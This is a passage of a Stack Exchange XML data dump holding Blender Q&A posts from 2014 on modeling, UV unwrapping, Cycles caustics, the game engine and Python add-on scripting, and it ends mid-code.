  <row Id="19265" PostTypeId="1" AcceptedAnswerId="19268" CreationDate="2014-11-26T19:59:11.127" Score="1" ViewCount="720" Body="&lt;p&gt;I am just beginning learning to use Blender and I was wondering if some of you have some sample game projects. Or if you know any good book, forum or videos tutorials for the last version of Blender (2.72). Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user8219" LastActivityDate="2015-11-22T23:24:00.810" Title="Blender 3D Game Projects?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ClosedDate="2015-08-11T16:45:29.607" ContentLicense="CC BY-SA 3.0" />
  <row Id="19266" PostTypeId="2" ParentId="19261" CreationDate="2014-11-26T20:14:39.657" Score="0" Body="&lt;p&gt;You can try the little used &lt;strong&gt;Boolean&lt;/strong&gt; modifier on your main object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4tAw9.png&quot; alt=&quot;Example of a **Boolean** mod, used in blender 2.72&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After setting the type to &lt;em&gt;union&lt;/em&gt; and selecting your torus as the target object, (no need to cut it in half, just get it the shape you want and position it so it looks right from the outside.) you should see some examples of Z-fighting on the visible portions of the torus. This just means its working right! Apply the mod and delete the torus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes this in itself creates some non-manifolds and even a few n-gons, but it should be pretty basic to fix.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-11-26T20:14:39.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19267" PostTypeId="1" AcceptedAnswerId="19278" CreationDate="2014-11-26T21:08:00.127" Score="2" ViewCount="1768" Body="&lt;p&gt;Does anyone have any ideas why this face is always so warped in the UV map? Even if I run a seam on every edge, it appears warped on the UV map. The opposite face of the same shape shows fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.72, 32 bit, Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WHY3H.png&quot; alt=&quot;Blender Screen Shot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uOyoU.png&quot; alt=&quot;Blender Screen Shot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8220" LastEditorUserId="2217" LastEditDate="2014-11-27T02:19:01.073" LastActivityDate="2014-11-27T13:15:42.687" Title="Why does one face appears so warped when UV unwraping?" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19268" PostTypeId="2" ParentId="19265" CreationDate="2014-11-26T21:23:17.387" Score="1" Body="&lt;p&gt;I would recommend that before you learn to use the blender game engine, you learn to use the normal blender engine so you can get the hang of the basics and it hugely minimizes some of avoidable mistakes - and if my experience was anything to go by, you'll make a ton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend that you mess around with it, try to set yourself basic project and you'll slowly learn how to do new things and old things more efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few websites I would recommend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/user/CGAstym&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/user/CGAstym&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/user/GlebAlexandrov&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/user/GlebAlexandrov&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tutorialsforblender3d.com/Game_Engine/Tutorials_index.html&quot; rel=&quot;nofollow&quot;&gt;http://www.tutorialsforblender3d.com/Game_Engine/Tutorials_index.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PL9057AB8E3C66AE80&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/playlist?list=PL9057AB8E3C66AE80&lt;/a&gt; and &lt;a href=&quot;https://cgcookie.com/archive/blender-basics-introduction-for-beginners/&quot; rel=&quot;nofollow&quot;&gt;archived&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6308" LastEditorUserId="2217" LastEditDate="2015-11-22T23:24:00.810" LastActivityDate="2015-11-22T23:24:00.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19269" PostTypeId="2" ParentId="19252" CreationDate="2014-11-26T21:39:37.507" Score="3" Body="&lt;p&gt;No, there is no way to customize the window layout used when launching the file selector, unless you modify the C source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However Im not sure why this, specifically is such an important feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could however, use Python's &lt;code&gt;tkinter&lt;/code&gt; to launch a non-blender file-selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3.4/library/tkinter.html#module-tkinter&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.python.org/3.4/library/tkinter.html#module-tkinter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/15685836/432509&quot;&gt;https://stackoverflow.com/a/15685836/432509&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-11-26T21:39:37.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19270" PostTypeId="2" ParentId="19261" CreationDate="2014-11-26T22:20:24.530" Score="2" Body="&lt;p&gt;Select Non-Manifold &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;M&lt;/kbd&gt; and delete vertices &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add two loop cuts &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R &lt;/kbd&gt;to ear-ring &lt;/li&gt;&#xA;&lt;li&gt;Add an additional edge &lt;kbd&gt;F&lt;/kbd&gt; (selected in the image) &lt;/li&gt;&#xA;&lt;li&gt;Subdivide the new added edge &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;subdivide&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should look like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ALfVg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove some loop cuts from half torus &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;RMB &lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt; &lt;em&gt;loop-cut&lt;/em&gt; until the number of edges matches the other part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select two open ends and search for &lt;em&gt;Bridge/Loft&lt;/em&gt; &lt;kbd&gt;Space&lt;/kbd&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yzN36.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-11-26T22:38:45.003" LastActivityDate="2014-11-26T22:38:45.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19271" PostTypeId="2" ParentId="19261" CreationDate="2014-11-26T22:36:33.157" Score="0" Body="&lt;p&gt;The .blend file you uploaded does look really weird where the loop joins the main body.  A common technique to counteract this is to add extra &quot;loops&quot; in the mesh to constrain the subsurf modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cgcookie.com/blender/2009/12/09/tip-making-sharp-edges-with-subsurf/&quot; rel=&quot;nofollow&quot;&gt;This cgcookie tutorial&lt;/a&gt; illustrates the use of the loop cut tool to control the subsurf, although you might instead choose to subdivide pairs of edges to cut a face in half.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have come across other videos that explain various anomalies that you can cause by using subsurf with certain topologies (poles, ngons) but I have lost track of the URLs.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-26T22:36:33.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19272" PostTypeId="2" ParentId="19267" CreationDate="2014-11-27T00:04:03.233" Score="4" Body="&lt;p&gt;Ngons tend to cause problems for the UV Unwrap algorithm.  Not always but often enough, it seems random which ones will work and which ones won't.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can deal with that particular case by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;7&lt;/kbd&gt; on the number pad so the view aligns with that selected faces normal then press &lt;kbd&gt;u&lt;/kbd&gt; to bring up the Unwrap menu and then select Project from View&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the shape should now perfectly match the face.  You'll still likely have to resize it though.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-27T04:26:36.733" LastActivityDate="2014-11-27T04:26:36.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19273" PostTypeId="1" CreationDate="2014-11-27T02:43:46.447" Score="6" ViewCount="16444" Body="&lt;p&gt;I have an animated gif and wanted to use it in the animation but I'm not sure how.&lt;/p&gt;&#xA;" OwnerUserId="8222" LastEditorDisplayName="user1853" LastEditDate="2016-05-24T19:28:46.110" LastActivityDate="2021-05-08T13:27:31.123" Title="Is it possible to load animated gif images?" Tags="&lt;animation&gt;&lt;file-format&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19274" PostTypeId="2" ParentId="19273" CreationDate="2014-11-27T03:49:14.367" Score="8" Body="&lt;p&gt;Short answer:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;You can't.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Blender does not support the gif format.&lt;/p&gt;&#xA;&lt;p&gt;Long answer:&lt;/p&gt;&#xA;&lt;p&gt;You would need some other software to convert your gifs to a format that blender understands to be able to import them.&lt;/p&gt;&#xA;&lt;p&gt;For a list of supported formats see &lt;a href=&quot;https://docs.blender.org/manual/en/latest/files/media/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2021-05-08T12:39:13.787" LastActivityDate="2021-05-08T12:39:13.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19275" PostTypeId="1" CreationDate="2014-11-27T07:32:00.657" Score="0" ViewCount="78" Body="&lt;p&gt;I noticed blender recently got updated with maya style radial menus. When I checked it out there was only a few things you could do with them like view and rotate the model or something. Is there any way now to customize the radial menus and put whatever you want in them? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like could I make a menu for common options that then go into sub menus for like extrude loop select bevel etc... Is there a way to add whatever I want into the radial menus and or create new ones, either through blender naturally now or is there a script to do this?&lt;/p&gt;&#xA;" OwnerUserId="8223" LastEditorUserId="241" LastEditDate="2017-03-22T15:22:54.450" LastActivityDate="2017-03-22T15:22:54.450" Title="Customizing the new pie menus with commands?" Tags="&lt;interface&gt;&lt;workflow&gt;&lt;pie-menu&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-27T17:51:58.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="19278" PostTypeId="2" ParentId="19267" CreationDate="2014-11-27T13:15:42.687" Score="3" Body="&lt;p&gt;Ngon currently doesn't work pretty well with seamed unrapping, so it would be recommended to unwrap UV as early as you can. However, you can consider to unwrap after splitting ngons, then disolve ngons again.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all ngon faces, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; to trianglate;&lt;/li&gt;&#xA;&lt;li&gt;Select all, unwrap again;&lt;/li&gt;&#xA;&lt;li&gt;If the result is expected, then &lt;kbd&gt;X&lt;/kbd&gt; -&gt; &lt;em&gt;Limited Dissolve&lt;/em&gt; to convert them back to ngons (if needed). &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6qrNx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; For more generic cases other than this model, it is highly recommended to triangulate ngons (faces with more than four sides) only, not existing quads, since topology could be likely changed after dissloving. So it is recommended to use menu &lt;strong&gt;Select&lt;/strong&gt; &gt; &lt;strong&gt;Select Faces by Sides&lt;/strong&gt;, then select faces with sides number greater than 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ekkbq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-27T13:15:42.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19279" PostTypeId="2" ParentId="19261" CreationDate="2014-11-27T14:01:41.390" Score="0" Body="&lt;p&gt;Generally, your work looks fine. There are just two non-manifolds in your mesh: one overlapped face (Type: Multiple Faces) and one normal-flipped face (Type: Non Contiguous). You can press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to check non-manifolds by types (be sure you are using Vertex/Edge Select mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to fix:&lt;/strong&gt; Delete the overlapped face, fill the hole, and flip the normal of another face, all would be fixed in a flash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GVCBJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-11-27T14:10:00.953" LastActivityDate="2014-11-27T14:10:00.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19280" PostTypeId="1" AcceptedAnswerId="27165" CreationDate="2014-11-27T14:02:24.257" Score="1" ViewCount="309" Body="&lt;p&gt;My problem is that I dont want the curve applied to all possible surfaces of an object but I still want the whole object to follow the curve. I want the curve modifier to only apply the curve to specific points. These points could then deform the whole object as needed (by separate vertex groups for example). Is something like this possible?&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2015-03-15T14:37:24.260" Title="Curve modifier - define affected points" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19281" PostTypeId="1" CreationDate="2014-11-27T16:06:01.240" Score="4" ViewCount="1393" Body="&lt;p&gt;I'm currently creating an addon for Blender and got stuck at following task:&#xA;-I want to select one object with an unknown name from a group with known name&#xA;-I want this object to be an object instance that can be used in the following code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried many different things, but none of the worked.&#xA;One Idea was to list all objects of the group and than select one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;newest try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_same_group(group=scene.object_group)&#xA;&#xA;# select one object randomly from the actives&#xA;scene.object_group is a strong property with the group name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8227" LastEditorUserId="3710" LastEditDate="2014-11-27T16:50:39.517" LastActivityDate="2014-11-28T11:02:57.317" Title="Select Object randomly from group" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19282" PostTypeId="2" ParentId="19281" CreationDate="2014-11-27T16:50:16.110" Score="3" Body="&lt;p&gt;Get the group via &lt;code&gt;bpy.data.groups&lt;/code&gt;, all objects of that group are accessible via a Group's &lt;code&gt;objects&lt;/code&gt; property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;group_name = &quot;Group&quot;&#xA;&#xA;group = bpy.data.groups.get(group_name)&#xA;assert group is not None&#xA;&#xA;first_ob = group.objects[0]&#xA;&#xA;random_ob = random.choice(group.objects)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wanna select another object from a random group the active object is in, use &lt;code&gt;.users_group&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from random import choice&#xA;&#xA;scene = bpy.context.scene&#xA;ob = bpy.context.object&#xA;&#xA;random_group = choice(ob.users_group)&#xA;obs = random_group.objects[:]&#xA;obs.remove(ob)&#xA;&#xA;try:&#xA;    random_ob = choice(obs)&#xA;except IndexError:&#xA;    # no other object in chosen group&#xA;    pass&#xA;&#xA;#bpy.ops.object.select_all(action='DESELECT')&#xA;for ob in scene.objects:&#xA;    ob.select = False&#xA;random_ob.select = True&#xA;bpy.context.scene.objects.active = random_ob&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-11-28T11:02:57.317" LastActivityDate="2014-11-28T11:02:57.317" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19285" PostTypeId="1" CreationDate="2014-11-27T18:20:15.023" Score="2" ViewCount="276" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bO5rP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add in my script a list of this type of element (can you drag), but I don't know how.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row = layout.row()&#xA;    row.prop/template_Id/?????()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6052" LastEditorUserId="241" LastEditDate="2014-11-27T18:29:17.487" LastActivityDate="2014-11-27T18:29:17.487" Title="How do I create a draggable UI element?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19288" PostTypeId="1" AcceptedAnswerId="19643" CreationDate="2014-11-27T19:46:27.613" Score="0" ViewCount="764" Body="&lt;p&gt;I have a question that may or may not be confusing, so bear with me. In my characters right hand, their are two states. One state is for walking around without a weapon equipped, and the other state has his hand just pointing outwards as if a gun were in his hand. I don't need an animation in the weapon state, but I want the hand to stay stuck pointing outwards. How do I achieve this? -No python pls.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2014-12-06T18:54:06.650" LastActivityDate="2014-12-06T19:24:08.297" Title="Set Object Position" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19289" PostTypeId="1" AcceptedAnswerId="19337" CreationDate="2014-11-27T20:20:21.833" Score="4" ViewCount="1026" Body="&lt;p&gt;I looked around in the source and other places and I found the code that creates a Color Ramp is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.template_color_ramp(tex, &quot;color_ramp&quot;, expand=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this work for addons because I can't find any documentation or anything on it and whenever I try it doesn't draw in the panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use this in-panel ramp to control a color ramp that is in the Node Editor.&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2014-11-29T12:06:39.480" Title="Are UI Color Ramps Possible through Python" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19290" PostTypeId="2" ParentId="17996" CreationDate="2014-11-27T22:13:06.930" Score="2" Body="&lt;p&gt;If you need the forest to look more realistic, you would need more animations! One animation for all the trees is simply not enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My suggestions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add at least 3-4 different animations. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make trees swap their animations randomly (e.g. tree1 runs animation1 then animation3...)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't randomise the rotation because that would look fake (wind blows generally in one direction)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also be careful with the different wind speed as if you overdo this you might get unrealistic results.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can simulate the wind 'gust' by starting the animations on all trees (seed points) which are at a certain position (say in X) and delay the animations of the other trees based on their Y position.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To make this even more effective you can actually simulate the wind by creating a huge box or a sphere(s) and animating them, passing through the forest in a certain way. This would be a non-renderable object which would trigger the wind animations on your trees. This could be even further enhanced if you increase the wind speed based on the proximity of the tree to the sphere centre, for example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also don't forget that even if you nail the whole wind animation, if you only have one tree model (despite different scale/rotation), it just wont work. You need more variation, only then you can play with randomness.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-11-27T22:13:06.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19291" PostTypeId="1" AcceptedAnswerId="19292" CreationDate="2014-11-27T23:26:30.897" Score="8" ViewCount="3537" Body="&lt;p&gt;This image is quite hard to see due to heavy caustics, however, I haven't had to render in Cycles since &lt;em&gt;Blender 2.72&lt;/em&gt; came out, and I can't for the life of me find '&lt;strong&gt;no caustics&lt;/strong&gt;'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried un-checking the two boxes that looked like they took it's place, but that didn't seem to change anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BHlGQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-01T17:37:14.140" Title="Is there a 2.72 equivalent to 'no caustics'?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19292" PostTypeId="2" ParentId="19291" CreationDate="2014-11-28T00:06:08.450" Score="5" Body="&lt;p&gt;It looks like this option was changed a bit. You can enable/disable caustics from reflections and from refraction (when light goes through transparent materials) separatly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just disable &quot;Reflective Caustics&quot; and &quot;Refractive Caustics&quot; in the Light Paths tab of the render settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8cTa1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that these settings do not work if you are using &lt;code&gt;Branched Path Tracing&lt;/code&gt;. You can however play around with the &lt;code&gt;Clamp Indirect&lt;/code&gt; value to trunkate high light values produced by reflected light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4AZtB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-12-01T17:37:14.140" LastActivityDate="2014-12-01T17:37:14.140" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19293" PostTypeId="1" AcceptedAnswerId="19295" CreationDate="2014-11-28T00:07:21.487" Score="3" ViewCount="1173" Body="&lt;p&gt;I want to add a prop search to my addon which allows me to search and select bones of a selected armature in the scene.&#xA;But I dont know the path where to find the bones of the armature. I want to have it like in the constraints panel where you can choose an armature target and a bone target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;&#xA;#&#xA;#CREATE ArFi LAYOUT START&#xA;#&#xA;&#xA;class armatureFind(bpy.types.Panel):&#xA;    bl_space_type=&quot;VIEW_3D&quot;&#xA;    bl_region_type=&quot;TOOLS&quot;&#xA;    bl_label=&quot;Armature Find&quot;&#xA;    bl_category=&quot;ArFi&quot; &#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        box = layout.box()&#xA;&#xA;        box.prop(bpy.context.scene.objects, &quot;active&quot;, text=&quot;Armature&quot;) #Problem1&#xA;        box.prop(bpy.data.armatures, &quot;rna_type&quot;, text=&quot;Bone 1&quot;, icon=&quot;VIEWZOOM&quot;) #Problem2&#xA;        box.prop(bpy.data.armatures, &quot;rna_type&quot;, text=&quot;Bone 2&quot;, icon=&quot;VIEWZOOM&quot;) #Problem3&#xA;&#xA;&#xA;#REGISTER CLASSES&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_moduel(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5885" LastActivityDate="2014-11-28T01:09:11.547" Title="Prop Search Armature Bones" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19294" PostTypeId="1" CreationDate="2014-11-28T01:03:40.567" Score="3" ViewCount="775" Body="&lt;p&gt;I'm making a Pac-Man clone to familiarize myself with the game engine and I can't figure out how to limit the area the player/enemies can move in without introducing other problems. If I use a navigation mesh they kind of slide around clumsily instead of moving in straight lines parallel to the the x/y axis like in the original Pac-Man.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a simple mesh (highlighted in orange) that shows the paths the characters should travel over.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iz3pH.png&quot; alt=&quot;Path is highlighted in orange&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can restrict their movement so they're always located at some point on this path or am I better off just using a ton of logic bricks to handle each turn at each corner individually?&lt;/p&gt;&#xA;" OwnerUserId="8212" LastEditorUserId="2217" LastEditDate="2014-11-28T01:55:10.297" LastActivityDate="2015-02-27T23:41:46.987" Title="(Game Engine) How to restrict character movement to linear paths" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19295" PostTypeId="2" ParentId="19293" CreationDate="2014-11-28T01:09:11.547" Score="6" Body="&lt;p&gt;You can achieve this with two dynamic enum properties if you are fine with selecting an armature and a bone. If you want to select an armature &lt;strong&gt;object&lt;/strong&gt;, things become more complicated. Below code updates the list of armature objects as the first enum property is changed - which is really ugly. Another way would be to place a button for the user to update the collection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        sce = context.scene&#xA;&#xA;        col = layout.column()&#xA;        col.prop(sce, &quot;arma&quot;)&#xA;        col.prop(sce, &quot;bone&quot;)&#xA;&#xA;        col.prop_search(sce, &quot;arma_name&quot;, bpy.data, &quot;armatures&quot;)&#xA;        arma = bpy.data.armatures.get(sce.arma_name)&#xA;        if arma is not None:&#xA;            col.prop_search(sce, &quot;bone_name&quot;, arma, &quot;bones&quot;)&#xA;&#xA;        col.prop_search(sce, &quot;arma_name&quot;, sce, &quot;arma_coll&quot;, icon='OBJECT_DATA')&#xA;&#xA;def arma_items(self, context):&#xA;    obs = []&#xA;    for ob in context.scene.objects:&#xA;        if ob.type == 'ARMATURE':&#xA;            obs.append((ob.name, ob.name, &quot;&quot;))&#xA;    return obs&#xA;&#xA;def arma_upd(self, context):&#xA;    self.arma_coll.clear()&#xA;    for ob in context.scene.objects:&#xA;        if ob.type == 'ARMATURE':&#xA;            item = self.arma_coll.add()&#xA;            item.name = ob.name&#xA;&#xA;def bone_items(self, context):&#xA;    arma = context.scene.objects.get(self.arma)&#xA;    if arma is None:&#xA;        return&#xA;    return [(bone.name, bone.name, &quot;&quot;) for bone in arma.data.bones]&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(HelloWorldPanel)&#xA;    bpy.types.Scene.arma = bpy.props.EnumProperty(items=arma_items, update=arma_upd)&#xA;    bpy.types.Scene.bone = bpy.props.EnumProperty(items=bone_items)&#xA;    bpy.types.Scene.arma_coll = 